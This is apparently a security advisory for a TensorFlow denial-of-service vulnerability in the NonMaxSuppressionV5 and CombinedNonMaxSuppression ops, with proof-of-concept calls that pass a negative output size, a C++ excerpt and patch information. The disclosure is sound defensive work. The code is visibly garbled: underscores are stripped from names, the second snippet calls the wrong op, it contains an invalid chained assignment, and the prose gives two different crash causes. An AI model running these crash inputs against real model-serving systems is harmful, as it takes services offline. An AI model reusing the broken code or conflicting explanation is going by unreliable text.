CVE-2021-37669: Crash in NMS ops caused by integer conversion to unsigned in TensorFlow

Impact An attacker can cause denial of service in applications serving models using tf.rawops.NonMaxSuppressionV5 by triggering a division by 0:

python import tensorflow as tf

tf.rawops.NonMaxSuppressionV5( boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]], scores=[1.0,2.0,3.0], maxoutputsize=-1, iouthreshold=0.5, scorethreshold=0.5, softnmssigma=1.0, padtomaxoutputsize=True) The implementation uses a user controlled argument to resize a std::vector:

cc const int outputsize = maxoutputsize.scalar<int>()(); // ... std::vector<int> selected; // ... if (padtomaxoutputsize) { selected.resize(outputsize, 0); // ... } However, as std::vector::resize takes the size argument as a sizet and outputsize is an int, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash.

A similar issue occurs in CombinedNonMaxSuppression:

python import tensorflow as tf

tf.rawops.NonMaxSuppressionV5( boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]], scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]], maxoutputsizeperclass=-1, maxtotalsize=10, iouthreshold=scorethreshold=0.5, padperclass=True, clipboxes=True) Patches We have patched the issue in GitHub commit 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d and commit b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.